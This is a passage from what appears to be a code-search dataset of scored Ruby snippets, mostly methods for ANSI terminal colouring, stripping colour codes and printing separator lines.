\"\\033[#{color_code}m#{str}\\033[#{end_tag}m\"\n end", "title": "" }, { "docid": "08ca1747dedfbc9e282cda67fbdb82e7", "score": "0.5345066", "text": "def apply_codes(string, ansi_colors)\n \"#{ansi_colors}#{string.gsub(/(\\e\\[0m)([^\\e]+)$/, \"\\\\1#{ansi_colors}\\\\2\")}\\e[0m\"\n end", "title": "" }, { "docid": "7fc72e097bf4ab1d858afe2a894ede08", "score": "0.5331841", "text": "def colorize(val, color, isatty); end", "title": "" }, { "docid": "45dfca697ac8947c613b0a887861cd09", "score": "0.5328517", "text": "def colored_htmlize(str)\n open_tags = []\n str = str.dup\n str.gsub!(/\\e\\[([34][0-7]|[014])m/){\n value = $1.to_i\n if value >= 30\n # colors\n html_color = [\n 'black',\n 'red',\n 'green',\n 'yellow',\n 'blue',\n 'magenta',\n 'cyan',\n 'white',\n ][value % 10]\n open_tags << \"span\"\n if value >= 40\n \"<span style='background-color: #{html_color}'>\"\n else\n \"<span style='color: #{html_color}'>\"\n end\n elsif value == 0\n res = open_tags.reverse.map{|tag| \"</#{tag}>\"}.join\n open_tags = []\n res\n elsif value == 1\n open_tags << \"b\"\n \"<b>\"\n elsif value == 4\n open_tags << \"u\"\n \"<u>\"\n else\n \"\"\n end\n }\n str << open_tags.reverse.map{|tag| \"</#{tag}>\"}.join\n str\nend", "title": "" }, { "docid": "8abe94a379ae4d4eb645f91a39b9bfdc", "score": "0.53259194", "text": "def colorize(str, color_code, end_tag = 0)\n \"\\033[#{color_code}m#{str}\\033[#{end_tag}m\"\n end", "title": "" }, { "docid": "dfdc3786aa65be41659df83055e44ca7", "score": "0.53191334", "text": "def tagged_colors(string)\n stack = []\n\n # split the string into tags and literal strings\n tokens = string.split(/(<\\/?[\\w\\d_]+>)/)\n tokens.delete_if { |token| token.size == 0 }\n \n result = \"\"\n\n tokens.each do |token|\n\n # token is an opening tag!\n \n if /<([\\w\\d_]+)>/ =~ token and valid_tag?($1)\n stack.push $1\n\n # token is a closing tag! \n \n elsif /<\\/([\\w\\d_]+)>/ =~ token and valid_tag?($1)\n\n # if this color is on the stack somwehere...\n if pos = stack.rindex($1)\n # close the tag by removing it from the stack\n stack.delete_at pos\n else\n raise \"Error: tried to close an unopened color tag -- #{token}\"\n end\n\n # token is a literal string!\n \n else\n\n color = (stack.last || \"white\")\n color = BBS_COLOR_TABLE[color.to_i] if color =~ /^\\d+$/\n result << token.send(color)\n \n end\n \n end\n \n result\n end", "title": "" }, { "docid": "f14b38533831ec7f020cc2f4c7b5b7ba", "score": "0.53120464", "text": "def colorize( string, *colors )\n return string unless colorize?\n\n colors.map! { |c|\n c.is_a?(Symbol) ? COLORS[c] : c\n }\n \"#{colors.flatten.join}#{string}#{COLORS[:clear]}\"\n end", "title": "" }, { "docid": "28ca61ec39c97ad86e624addbc705395", "score": "0.52923244", "text": "def bg_cyan(str)\n colorize(str, 46)\n end", "title": "" }, { "docid": "56a49b4b3516c65b50c568e310979f35", "score": "0.5278553", "text": "def colorize_string(str, color)\n col, nocol = [color, :nothing].map { |key| get_color(key) }\n col ? \"#{col}#{str}#{nocol}\" : str\n end", "title": "" }, { "docid": "bbc81341cddd0e6002375c23c9665618", "score": "0.5273852", "text": "def colorize_result(string, custom_schema = schema)\n check = ''\n colorful = tokenize(string).map do |kind, token|\n check << token\n colorize_string token, custom_schema[kind]\n end.join\n\n # always display the correct inspect string!\n check == string ? colorful : string\n end", "title": "" }, { "docid": "b9c785ede918bebbcbcf5464ee5a88f2", "score": "0.5266785", "text": "def _colorize(text, color)\n Marv.colorize(text, color)\n end", "title": "" }, { "docid": "7600f7aae9c5c16c3dff0bc4c0b611e9", "score": "0.52604675", "text": "def strip_color(string)\n string = string.dup\n return strip_color!(string)\n end", "title": "" }, { "docid": "01eaa3b6fc36a9ffe6f246934a53bd7c", "score": "0.52598816", "text": "def colorize(s, type)\n if @options[:plain] || @options[:color][type].nil?\n s\n else\n s.send(@options[:color][type])\n end\n end", "title": "" }, { "docid": "01eaa3b6fc36a9ffe6f246934a53bd7c", "score": "0.52598816", "text": "def colorize(s, type)\n if @options[:plain] || @options[:color][type].nil?\n s\n else\n s.send(@options[:color][type])\n end\n end", "title": "" }, { "docid": "bac97a29a085491cc4d9eee0f2ed72d7", "score": "0.52583486", "text": "def make_red(str, substr)\n chunks = str.split(substr)\n chunks.join(red(substr))\n end", "title": "" }, { "docid": "3961a6033b61de02d65fa0987a674b74", "score": "0.52496266", "text": "def colorize(params)\n begin\n require 'Win32/Console/ANSI' if RUBY_PLATFORM =~ /win32/\n rescue LoadError\n raise 'You must gem install win32console to use colorize on Windows'\n end\n \n self.scan(REGEXP_PATTERN).inject(\"\") do |str, match|\n match[0] ||= MODES[:default]\n match[1] ||= COLORS[:default] + COLOR_OFFSET\n match[2] ||= COLORS[:default] + BACKGROUND_OFFSET\n match[3] ||= match[4]\n\n if (params.instance_of?(Hash))\n match[0] = MODES[params[:mode]] if params[:mode] && MODES[params[:mode]]\n match[1] = COLORS[params[:color]] + COLOR_OFFSET if params[:color] && COLORS[params[:color]]\n match[2] = COLORS[params[:background]] + BACKGROUND_OFFSET if params[:background] && COLORS[params[:background]]\n elsif (params.instance_of?(Symbol))\n match[1] = COLORS[params] + COLOR_OFFSET if params && COLORS[params]\n end\n\n str << \"\\033[#{match[0]};#{match[1]};#{match[2]}m#{match[3]}\\033[0m\"\n end\n end", "title": "" }, { "docid": "a604a455386ab76b9cbc4cce6bf9ffb2", "score": "0.5246574", "text": "def request_color(string = nil)\n # not yet implemented\n return \"#f00\"\n=begin\n string = '#999' unless string.to_s.match(/#?[0-9A-F]{3,6}/i)\n color = string\n prefix, string = string.match(/(#?)([0-9A-F]{3,6})/i)[1,2]\n string = $1 * 2 + $2 * 2 + $3 * 2 if string =~ /^(.)(.)(.)$/\n def_col = ' default color {' + string.scan(/../).map { |i| i.hex * 257 }.join(\",\") + '}'\n col = `osascript 2>/dev/null -e 'tell app \"TextMate\" to choose color#{def_col}'`\n return nil if col == \"\" # user cancelled -- when it happens, an exception is written to stderr\n col = col.scan(/\\d+/).map { |i| \"%02X\" % (i.to_i / 257) }.join(\"\")\n\n color = prefix\n if /(.)\\1(.)\\2(.)\\3/.match(col) then\n color << $1 + $2 + $3\n else\n color << col\n end\n return color\n=end\n end", "title": "" }, { "docid": "6ea7dcdbe875c08d38e1a30b907fee6a", "score": "0.5240112", "text": "def colorize(str, color_code = 36)\n \"\\e[#{color_code}m#{str}\\e[0m\"\n end", "title": "" }, { "docid": "872c0a42fe3dca03f3229175d779d2db", "score": "0.5237555", "text": "def color\n attributes.fetch(:color)\n end", "title": "" }, { "docid": "872c0a42fe3dca03f3229175d779d2db", "score": "0.5237555", "text": "def color\n attributes.fetch(:color)\n end", "title": "" }, { "docid": "804302087f363aa2e4688824759a18ca", "score": "0.523313", "text": "def colorize(string, severity)\n case severity\n when 'ERROR', 'FATAL'\n Wright::Util::Color.red(string)\n when 'WARN'\n Wright::Util::Color.yellow(string)\n when 'INFO'\n string\n else\n string\n end\n end", "title": "" }, { "docid": "81ef87c9c176f9d4d8b04db3c933bcc0", "score": "0.5217133", "text": "def color(text, begin_text_style)\n begin_text_style + text + END_TEXT_STYLE\nend", "title": "" }, { "docid": "81ef87c9c176f9d4d8b04db3c933bcc0", "score": "0.5217133", "text": "def color(text, begin_text_style)\n begin_text_style + text + END_TEXT_STYLE\nend", "title": "" }, { "docid": "81ef87c9c176f9d4d8b04db3c933bcc0", "score": "0.5217133", "text": "def color(text, begin_text_style)\n begin_text_style + text + END_TEXT_STYLE\nend", "title": "" }, { "docid": "81ef87c9c176f9d4d8b04db3c933bcc0", "score": "0.5217133", "text": "def color(text, begin_text_style)\n begin_text_style + text + END_TEXT_STYLE\nend", "title": "" }, { "docid": "e25485faad6fd21f76274fcbf573b3f4", "score": "0.521529", "text": "def colorize_code(str)\n ret, nocol = '', get_color(:nothing)\n tokenize(str) do |tok, val|\n ret << colorize_string(val, scheme[tok])\n end\n ret\n rescue # catch any errors from the tokenizer (just in case)\n str\n end", "title": "" }, { "docid": "73476db5f2de756828211d588427d5c0", "score": "0.52109265", "text": "def colorize(params)\n begin\n require 'Win32/Console/ANSI' if RUBY_PLATFORM =~ /win32/\n rescue LoadError\n raise 'You must gem install win32console to use colorize on Windows'\n end\n\n self.scan(REGEXP_PATTERN).inject(\"\") do |str, match|\n match[0] ||= MODES[:default]\n match[1] ||= COLORS[:default] + COLOR_OFFSET\n match[2] ||= COLORS[:default] + BACKGROUND_OFFSET\n match[3] ||= match[4]\n\n if (params.instance_of?(Hash))\n match[0] = MODES[params[:mode]] if params[:mode] && MODES[params[:mode]]\n match[1] = COLORS[params[:color]] + COLOR_OFFSET if params[:color] && COLORS[params[:color]]\n match[2] = COLORS[params[:background]] + BACKGROUND_OFFSET if params[:background] && COLORS[params[:background]]\n elsif (params.instance_of?(Symbol))\n match[1] = COLORS[params] + COLOR_OFFSET if params && COLORS[params]\n end\n\n str << \"\\033[#{match[0]};#{match[1]};#{match[2]}m#{match[3]}\\033[0m\"\n end\n end", "title": "" }, { "docid": "dfe1f9fdd3db40a29cfab677a3480b0c", "score": "0.51993287", "text": "def colorize_line(line)\n require \"irb\"\n IRB::Color.colorize_code(line, **colorize_options)\n end", "title": "" }, { "docid": "637ca439dd055635206cae3c9e5759cb", "score": "0.51915455", "text": "def make_color(str, color)\n colors = {:red => 31, :green => 32, :yellow => 33, :blue => 34}\n puts \"\\e[#{colors[color]}m#{str}\\e[0m\" #you can replace str->self, so that you can call this method using: \"String\".make_color(:red)\nend", "title": "" }, { "docid": "a52fa1f188b3b7d747477d03ef1769bb", "score": "0.5190212", "text": "def green(str)\n colorize(str, 32)\n end", "title": "" }, { "docid": "19878c60caf17d9ee43392ce181da56e", "score": "0.51880056", "text": "def ansi_code( *attributes )\n\t\t\tattributes.flatten!\n\t\t\tattributes.collect! {|at| at.to_s }\n\t\t\treturn '' unless /(?:vt10[03]|xterm(?:-color)?|linux|screen)/i =~ ENV['TERM']\n\t\t\tattributes = ANSI_ATTRIBUTES.values_at( *attributes ).compact.join(';')\n\n\t\t\tif attributes.empty?\n\t\t\t\treturn ''\n\t\t\telse\n\t\t\t\treturn \"\\e[%sm\" % attributes\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "896fe79fa34b2e308285ebd2c1c3049e", "score": "0.51833516", "text": "def ansi_code( *attributes )\n\t\t\tattributes.flatten!\n\t\t\tattributes.collect! {|at| at.to_s }\n\t\t\treturn '' unless /(?:vt10[03]|xterm(?:-color)?|linux|screen)/i =~ ENV['TERM']\n\t\t\tattributes = ANSI_ATTRIBUTES.values_at( *attributes ).compact.join(';')\n\n\t\t\tif attributes.empty? \n\t\t\t\treturn ''\n\t\t\telse\n\t\t\t\treturn \"\\e[%sm\" % attributes\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "def5686507925cdc5324ca08ac4ebdcb", "score": "0.5178923", "text": "def parse_html_attributes(str, line = nil, in_html_tag = true)\n attrs = {}\n str.scan(HTML_ATTRIBUTE_RE).each do |attr, val, _sep, quoted_val|\n attr.downcase! if in_html_tag\n if attrs.key?(attr)\n warning(\"Duplicate HTML attribute '#{attr}' on line #{line || '?'} - overwriting previous one\")\n end\n attrs[attr] = val || quoted_val || \"\"\n end\n attrs\n end", "title": "" }, { "docid": "3450b185500972bb6540c3693851b809", "score": "0.51697147", "text": "def decorate_string(str, istruct)\n str = quote(str)\n result = istruct.italic ? \"\\\\itshape{#{str}}\" : str\n result = istruct.bold ? \"\\\\bfseries{#{result}}\" : result\n if istruct.color && istruct.color != 'none'\n result = \"{\\\\textcolor{#{istruct.color}}{#{result}}}\"\n end\n if istruct.bgcolor && istruct.bgcolor != 'none'\n result = \"{\\\\cellcolor{#{istruct.bgcolor}}{#{result}}}\"\n end\n if (istruct._h && format_at[:body][istruct._h] &&\n istruct.alignment != format_at[:body][istruct._h].alignment) ||\n (istruct._h.nil? && istruct.alignment.to_sym != :left)\n ac = alignment_code(istruct.alignment)\n result = \"\\\\multicolumn{1}{#{ac}}{#{result}}\"\n end\n result\n end", "title": "" }, { "docid": "4ead0dbbbab67a1e34860128e4b048b3", "score": "0.5168874", "text": "def colorize?; end", "title": "" }, { "docid": "4ead0dbbbab67a1e34860128e4b048b3", "score": "0.5168874", "text": "def colorize?; end", "title": "" }, { "docid": "3a70a43194d85cd1010f2a6f24befaf9", "score": "0.516715", "text": "def color(s, sev: nil)\n s = s.to_s\n return s if @disable_color\n\n cc = COLOR_CODE\n color = if cc.key?(sev) then cc[sev]\n elsif integer?(s) then cc[:integer] # integers\n else cc[:normal_s] # normal string\n end\n \"#{color}#{s.sub(cc[:esc_m], color)}#{cc[:esc_m]}\"\n end", "title": "" } ]
f1d9a50815fcd89c711d3e00f40d3ec4
Output a separator line made up of length of the specified char.
[ { "docid": "e849c98bb5c2511a5491caa3e35d186a", "score": "0.72353214", "text": "def writeLine( length=75, char=\"-\" )\n\t\t$stderr.puts \"\\r\" + (char * length )\n\tend", "title": "" } ]
[ { "docid": "5547e695784090c392077b919a02e019", "score": "0.7189508", "text": "def writeLine( length=75, char=\"-\" )\n\t\t\t$stderr.puts \"\\r\" + (char * length )\n\t\tend", "title": "" }, { "docid": "2568ad31600a6dbad14f2a101177297a", "score": "0.70162815", "text": "def print_separator(character = \"-\")\n\tputs character * 64\nend", "title": "" }, { "docid": "fa017ded318049d656fa51c5a2921306", "score": "0.7013699", "text": "def print_separator(character=\"-\")\n puts character * 80\nend", "title": "" }, { "docid": "f554d9f2b6041e101918b44f65b46d77", "score": "0.69410896", "text": "def divider( length=75 )\n\t\tputs \"\\r\" + (\"-\" * length )\n\tend", "title": "" }, { "docid": "a3e8dd53f957e094ef5623d93d14e31d", "score": "0.6916315", "text": "def print_separator(character = \"-\")\n puts character * 80\nend", "title": "" }, { "docid": "6787b537225dd8f984d0427693e4395f", "score": "0.68327403", "text": "def print_separator(character=\"-\")\n #have this method print that character 80 times\n puts character * 80\nend", "title": "" }, { "docid": "fa27480cba29ca00e190e7c4872525b4", "score": "0.67867845", "text": "def divider(char, table, options = {})\n @divider = ''\n total_title_length = 0\n table[0].length.times { |n| total_title_length += self.instance_variable_get(\"@max_length_#{n}\") }\n statement = char * ((table[0].length * 5) + total_title_length + 1)\n\n options[:new_line] ? @divider << \"#{statement}\\n\" : @divider << statement\n @divider\n end", "title": "" }, { "docid": "2dbe80d06d908a3247d4cac28a47db9a", "score": "0.6748989", "text": "def print_line_separator(width, filling='-')\n width.times do\n print filling\n end\n print '|'\n end", "title": "" }, { "docid": "76837482aec9190f49eb15d15322cd56", "score": "0.6703052", "text": "def separator\n puts \" \n▄ ██╗▄\n ████╗\n▀╚██╔▀\n ╚═╝ \n \n \"*5\nend", "title": "" }, { "docid": "ced66c5bdae1c2219af2c22688c649a2", "score": "0.66765124", "text": "def _print_separator_line(sep = '*', title = '')\n line_len = 80\n half_width = (line_len - title.to_s.length) / 2.0\n puts sep.to_s * half_width.floor + title.to_s + sep.to_s * half_width.ceil\n end", "title": "" }, { "docid": "7f861e6a8047bf0704b4398ae3b97bcb", "score": "0.6635908", "text": "def pretty_print_line_divider\n size.times { printf '--' }\n printf \"-\\n\"\n end", "title": "" }, { "docid": "8d11834681960bfdcdcaaf69616fffc0", "score": "0.6635101", "text": "def pretty_print_line_divider(size)\n size.times { printf '--' }\n printf \"-\\n\"\nend", "title": "" }, { "docid": "37c1d45ea9fc02321eb065f4c99de4a5", "score": "0.66268367", "text": "def print_seperator(character=\"-\")\r\n puts character * 80\r\nend", "title": "" }, { "docid": "c7cf720c6ec36c81d7ce1550524c99ae", "score": "0.6605096", "text": "def underline string, char = '-'\n\t\tputs string\n\t\tlinebr string.length, char\n\tend", "title": "" }, { "docid": "303d4506767e22027e383c112c9a911b", "score": "0.6579209", "text": "def puts_separator(options = {})\n sep = options[:separator] || \"-\" # set the default separator to -\n len = options[:width] || 50 # set the default width to 50 chars\n str = \"\" # initialize the string\n len.times { str += sep} # loop len times adding the separator\n # to the string\n puts str.color(153,153,153) # puts the separator in a nice gray\n end", "title": "" }, { "docid": "ba681a112f9cb2b9c03e697364d0e2cf", "score": "0.65632695", "text": "def print_separator_line\n line = \"\"\n 3.times do\n 3.times { line << SEPARATOR[:horizontal] }\n line << SEPARATOR[:cross]\n end\n puts line[0...line.length - 1]\n print \"\\t\"\n end", "title": "" }, { "docid": "09a23a6c9c0d25cddac942bfa04ce971", "score": "0.65443754", "text": "def get_divider\r\n \"\\n\" + (\"-\" * 46)\r\n end", "title": "" }, { "docid": "0c4de7e7229e2e8edaa2be217ded6739", "score": "0.6541823", "text": "def separator\n\tputs \"-\" * 80\nend", "title": "" }, { "docid": "aa0911ce92890b4510ca26f0e3b631aa", "score": "0.65283674", "text": "def print_seperator(character = '-')\n puts character * 80\nend", "title": "" }, { "docid": "5e8fbb8497e7fe05344ae8aab0f4d935", "score": "0.65107477", "text": "def divider( length=75 )\n\t\t$stderr.puts \"\\r\" + (\"-\" * length )\n\tend", "title": "" }, { "docid": "5e8fbb8497e7fe05344ae8aab0f4d935", "score": "0.65107477", "text": "def divider( length=75 )\n\t\t$stderr.puts \"\\r\" + (\"-\" * length )\n\tend", "title": "" }, { "docid": "4ffabaf840310498afbd67a07cfdec5c", "score": "0.65023804", "text": "def show_line(length = 70)\n puts \"-\" * length\nend", "title": "" }, { "docid": "94cdfc01290d3d503a1e5f8aa2a3860e", "score": "0.64812446", "text": "def print_whole_line_separator(col_width, alphabet_size)\n print_line_separator(col_width+2)\n alphabet_size.times do |index|\n print_line_separator(col_width)\n end\n print \"\\n\"\n end", "title": "" }, { "docid": "bc902a1e9a0a646a60b42b23f0dc2159", "score": "0.6430173", "text": "def decoration(size,char='=')\n \" \"+char.to_s*size+\"\\n\"\nend", "title": "" }, { "docid": "282e50845dd62510134c3ea4e9aadff3", "score": "0.6418477", "text": "def print_separator( enable = $VERBOSE )\r\n puts \"-\" * $LINE_LENGTH if enable\r\nend", "title": "" }, { "docid": "9030eaf6532b2f4250c3c1ab40770819", "score": "0.6379989", "text": "def breakable(sep=' ', width=nil)\n @output << sep\n end", "title": "" }, { "docid": "212d8c2a50bd393778d003b577e0f6ea", "score": "0.6365391", "text": "def print_sep(cols = 80)\r\n\tputs \"\\n\"\r\n\tputs '-' * cols\r\n\tputs \"\\n\"\r\nend", "title": "" }, { "docid": "5591fd6c7d6c5bf68ce34ebd65eba848", "score": "0.63206017", "text": "def print_separator\r\n @output.puts (1..60).map { |n| \"\" }.join(\"-\")\r\n end", "title": "" }, { "docid": "1faece7067a3324274f322c7adb47e31", "score": "0.62061834", "text": "def put_a_line_of_character_size(character, number)\n puts character * number\nend", "title": "" }, { "docid": "ca9a652cb5f05bf43fdec846b1ecd093", "score": "0.6196895", "text": "def separator\n\tputs \"*\"*100\n end", "title": "" }, { "docid": "ec2e361516a2f179764d2bc0407dbc18", "score": "0.6191406", "text": "def print_char(char,length)\n (1..length+2).each do |_|\n print(char)\n end\nend", "title": "" }, { "docid": "78b8e7f8449b952ee8bd7d95635f6e3a", "score": "0.61843663", "text": "def line(separator)\n\t\t\ta = [] \n\t\t\t@line_size.times{a << separator}\n\t\t\ta.join('')\n\t\tend", "title": "" }, { "docid": "7f58ae38b16b87c3d30e46b74aa32356", "score": "0.61535287", "text": "def prep_for_output chars\n # Initialize an empty string\n output = \"\"\n \n # Render one horizontal line of output at a time\n # NOTE: There are (@size * 2) + 3 lines\n (@size * 2 + 3).times do |i|\n # Append the ith line of each character to the output string,\n # with spacing proportional to the specified @size\n chars.each do |line|\n output += line[i] += \" \" * (@size/3+1)\n end\n \n # Done with this line of output; add a newline character to output\n output += \"\\n\"\n end\n \n output\n end", "title": "" }, { "docid": "957a72bb46e7bf3ddafb7d5db17d2bad", "score": "0.61450535", "text": "def full_linebr char = '-'\n\t\traise Exeception, \"char must be one character only\" unless char.to_s.length == 1\n\t\tlinebr `tput cols`, char\n\tend", "title": "" }, { "docid": "040050d0537081cdf914dbaaf869828f", "score": "0.60352504", "text": "def output_line(size, gap)\n str = ('*' + ' ' * gap + '*' + ' ' * gap + '*') unless gap.negative?\n\n if gap == -1\n puts '*' * size\n else\n puts str.center(size)\n end\nend", "title": "" }, { "docid": "babd0e36e362633723ff620d2eb00638", "score": "0.6026205", "text": "def write_separator\n @stream.puts('')\n end", "title": "" }, { "docid": "433224bde92788440f5d42bf8d105858", "score": "0.6013752", "text": "def next_char(count = buffer.prefix_count)\n return if self == lineend\n set(self + \"#{count} displaychars\")\n end", "title": "" }, { "docid": "94aa11be9c42431686b41efe60af6c07", "score": "0.6007429", "text": "def print_line(ch); 80.times{print ch}; print \"\\n\"; end", "title": "" }, { "docid": "a7ef075b19062e7c92edc648900c5d84", "score": "0.59850675", "text": "def line_sep(title=nil); print \"\\n#{title} ----\\n\\n\"; end", "title": "" }, { "docid": "a7ef075b19062e7c92edc648900c5d84", "score": "0.59850675", "text": "def line_sep(title=nil); print \"\\n#{title} ----\\n\\n\"; end", "title": "" }, { "docid": "36f83895aa318dab1ddca403b957f9ec", "score": "0.5956246", "text": "def _line_segment_with_colons(linefmt, align, colwidth)\n fill = linefmt.hline\n w = colwidth\n if ['right', 'decimal'].member?(align)\n return (fill[0] * (w - 1)) + \":\"\n elsif align == \"center\"\n return \":\" + (fill[0] * (w - 2)) + \":\"\n elsif align == \"left\"\n return \":\" + (fill[0] * (w - 1))\n else\n return fill[0] * w\n end\n end", "title": "" }, { "docid": "5bd14806c3e84de74750e830c6b153a9", "score": "0.5952643", "text": "def separator(string = \"\")\n if separators[options.size]\n separators[-1] += \"\\n#{string}\"\n else\n separators[options.size] = string\n end\n end", "title": "" }, { "docid": "ea408507f03d4d66455e26464bfa7d2f", "score": "0.5933641", "text": "def divider\n \"-\" * @widths.inject{|a,v|a+v} + \"\\n\"\n end", "title": "" }, { "docid": "399e35a3f1ae9398780d43c83e796cbb", "score": "0.5925044", "text": "def line\n puts \"-\" * 50\nend", "title": "" }, { "docid": "56bea1052da46be9e11b2e4eafc85a42", "score": "0.5901614", "text": "def divider\n print \"~\" * 65\n end", "title": "" }, { "docid": "613f8cec33033b5d8da2aff30ab75492", "score": "0.5897451", "text": "def divider_line\n puts \"\"\n puts \"-------------------------------------------------------------\"\n puts \"\"\nend", "title": "" }, { "docid": "613f8cec33033b5d8da2aff30ab75492", "score": "0.5897451", "text": "def divider_line\n puts \"\"\n puts \"-------------------------------------------------------------\"\n puts \"\"\nend", "title": "" }, { "docid": "32a54c3221262d52db206daaefb605fc", "score": "0.5887237", "text": "def divider( length=75 )\n $stderr.puts( \"-\" * length )\n $stderr.flush\n end", "title": "" }, { "docid": "107ce133f294edf717f4b11156515eb4", "score": "0.58711094", "text": "def draw_lines(length)\n if length == 3\n 14.times { print \"-\".magenta }\n else\n lines = (length - 3) * 5\n (14 + lines).times { print \"-\".magenta }\n end\n end", "title": "" }, { "docid": "c605638c9014f9aac0d65042d4bb4b16", "score": "0.5869348", "text": "def hrule( length=75, char=\"-\" )\n\t\treturn (char * length ) + \"\\n\"\n\tend", "title": "" }, { "docid": "f8f89d6e1b53820df5e4cf4375c201a0", "score": "0.58570606", "text": "def puts_line(character = '-')\n line = character * 80 # gets me 80 dashes\n puts line.color(:green) # prints it out in green\nend", "title": "" }, { "docid": "3c77fa108617c47077c3620fe325e97c", "score": "0.584457", "text": "def last_char(count = buffer.prefix_count)\n set(\"#{self} + #{count - 1} lines lineend\")\n end", "title": "" }, { "docid": "950b471114aeccec861adb13c3896cf3", "score": "0.5834713", "text": "def spacer\n puts \"\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\"\n end", "title": "" }, { "docid": "35f44d28a4ff536bd786c55a5c143eae", "score": "0.58332044", "text": "def put_a_line\n puts \"-\" * 50\nend", "title": "" }, { "docid": "35f44d28a4ff536bd786c55a5c143eae", "score": "0.58332044", "text": "def put_a_line\n puts \"-\" * 50\nend", "title": "" }, { "docid": "3f7f741d4a9bf71882cd7101f30595e6", "score": "0.5811555", "text": "def print_in_box(str)\n length = str.size\n dashed_line = \"+#{'-' * (length + 2)}+\"\n empty_line = \"|#{' ' * (length + 2)}|\"\n puts dashed_line\n puts empty_line\n puts \"| #{str} |\"\n puts empty_line\n puts dashed_line\nend", "title": "" }, { "docid": "d3fbe61cbcd6226bed8d0e9c026ad338", "score": "0.58077836", "text": "def print_divider\n puts \"*\" * 40\n puts \"\\n\"\nend", "title": "" }, { "docid": "5201ebc79a0f5fb0bee44d5dcff90c56", "score": "0.5787675", "text": "def line_slice(arr, join_char)\n arr.each_slice(16).collect(&:join).join(join_char)\n end", "title": "" }, { "docid": "2adcc6989b84161a776321a2afe63d37", "score": "0.5780631", "text": "def sep\n \"-\" * 40\nend", "title": "" }, { "docid": "029fe1bc724e806af317b5a276a3380f", "score": "0.5776141", "text": "def build_line(line)\n output = \"\"\n line.length.times do |i|\n output << \" \" + line[i] + \" \"\n output << \"|\" if i < line.length - 1 \n end\n output\nend", "title": "" }, { "docid": "e5a10615ad3d874dab1d4de925506c4d", "score": "0.5774389", "text": "def line\n puts '-' * 10\nend", "title": "" }, { "docid": "f4e340bfc8c782b5184419a56901b855", "score": "0.5770154", "text": "def line(deli)\n\n string = \"The line is currently\"\n\n if deli.length == 0\n string << \" empty.\"\n puts string\n else\n string << \":\"\n i = 0\n until i == deli.length\n string << \" #{i+1}. #{deli[i]}\"\n i+=1\n end\n puts string\n end\nend", "title": "" }, { "docid": "113a0786ca11c631c7073e5b20166b34", "score": "0.5750889", "text": "def line_break\n puts \"\"\n end", "title": "" }, { "docid": "d755983d43ad5de33c2d669c8e963640", "score": "0.57271945", "text": "def separator(line)\n add do |arg|\n arg.separator(line)\n end\n end", "title": "" }, { "docid": "3b986d9ff6f0e18d37777aaca026a732", "score": "0.5725628", "text": "def generate_underline\n @premises.length.times { print '------' }\n puts \"-\\n\" \n end", "title": "" }, { "docid": "138792e857a8889f94dda9901c4a948b", "score": "0.57214856", "text": "def separator\n separator_byte.chr \n end", "title": "" }, { "docid": "65998980ea651eecc29c25200a537ad4", "score": "0.5719495", "text": "def print_dashed_line\n puts \"--------------------\"\n end", "title": "" }, { "docid": "0a1d23a114b227115cb1268e484e08dd", "score": "0.57175744", "text": "def separator\n\t\t\t@separator ||= '-' * width\n\t\tend", "title": "" }, { "docid": "7f54343783ac9a0516ee5950a8c7cb6c", "score": "0.57117295", "text": "def underline_char\n Kernel.raise NotImplementedError\n end", "title": "" }, { "docid": "87a668220b208865eddd163c068bbdf1", "score": "0.5705456", "text": "def line_break\n puts '--------------------------------------------------------'\nend", "title": "" }, { "docid": "581ce5d241714ad2f0ac47c9fc67e953", "score": "0.570081", "text": "def draw_separator(c, w, h)\n c.set_line_width 0.5\n c.set_source_rgba 0.8, 0.8, 0.8, 1\n c.move_to 0, 1\n c.line_to w, 1\n end", "title": "" }, { "docid": "e66f280a53a34c1420b02f84a5de39b2", "score": "0.5676998", "text": "def write(char, char_width, col, row, sgr)\n\t\t\t@lines[Integer(row)][Integer(col)] = [char, char_width, sgr.dup]\n\t\tend", "title": "" }, { "docid": "3cde4c9feecd2692467696ac9b6dd2c2", "score": "0.56727564", "text": "def print_line(length, asterisks)\n case asterisks\n when 1\n puts (\" \" * ((length - asterisks) / 2)) + (\"*\" * asterisks) + (\" \" * ((length - asterisks) / 2))\n else\n puts (\" \" * ((length - asterisks) / 2)) + \"*\" + (\" \" * (asterisks - 2)) + \"*\" + (\" \" * ((length - asterisks) / 2))\n end\nend", "title": "" }, { "docid": "543615658ab3c00a60e278569233a497", "score": "0.5665022", "text": "def write_divider(env, columns)\n env.ui.info \"+-#{ columns.map { |_,g| \"-\"*g[:width] }.join(\"-+-\") }-+\"\n nil\n end", "title": "" }, { "docid": "b5a7b2011cad63693ab7ebcfc9f76b27", "score": "0.5663286", "text": "def separator; end", "title": "" }, { "docid": "b5a7b2011cad63693ab7ebcfc9f76b27", "score": "0.5663286", "text": "def separator; end", "title": "" }, { "docid": "b5a7b2011cad63693ab7ebcfc9f76b27", "score": "0.5663286", "text": "def separator; end", "title": "" }, { "docid": "b5a7b2011cad63693ab7ebcfc9f76b27", "score": "0.5663286", "text": "def separator; end", "title": "" }, { "docid": "b5a7b2011cad63693ab7ebcfc9f76b27", "score": "0.5663286", "text": "def separator; end", "title": "" }, { "docid": "b5a7b2011cad63693ab7ebcfc9f76b27", "score": "0.5663286", "text": "def separator; end", "title": "" }, { "docid": "b5a7b2011cad63693ab7ebcfc9f76b27", "score": "0.5663286", "text": "def separator; end", "title": "" }, { "docid": "9eea6f3282281befefb8cb38dd418057", "score": "0.56620675", "text": "def eol\n return \"\\n\" if @finished\n length = (nyan_cat.split(\"\\n\").length - 1)\n length > 0 ? format(\"\\e[1A\" * length + \"\\r\") : \"\\r\"\n end", "title": "" }, { "docid": "f785e3185989fde64d99f1cd31a5caf5", "score": "0.5658381", "text": "def separator(line)\n @separator_lines << line\n end", "title": "" }, { "docid": "d868287d5aaa2b2be84a42ae2a36e929", "score": "0.565823", "text": "def separator\n @code << \"\\n\"\n end", "title": "" }, { "docid": "0b010a53ef0df1de06e6e3eb6ff35e8c", "score": "0.56547457", "text": "def print_divider\n puts \"*\" * 20\n puts \"\\n\"\nend", "title": "" }, { "docid": "09b888de9195c147272c5fa9279a19b0", "score": "0.56537706", "text": "def spacer(line_count, speed)\n\tcounter = 0\n\tuntil counter == line_count\n\t\toutput_text(\"\", speed)\n\t\tcounter += 1\n\tend\nend", "title": "" }, { "docid": "81471fb9c7b1a05cbcd44169ebb625c0", "score": "0.5646713", "text": "def eol\n return \"\\n\" if @current == @example_count\n length = 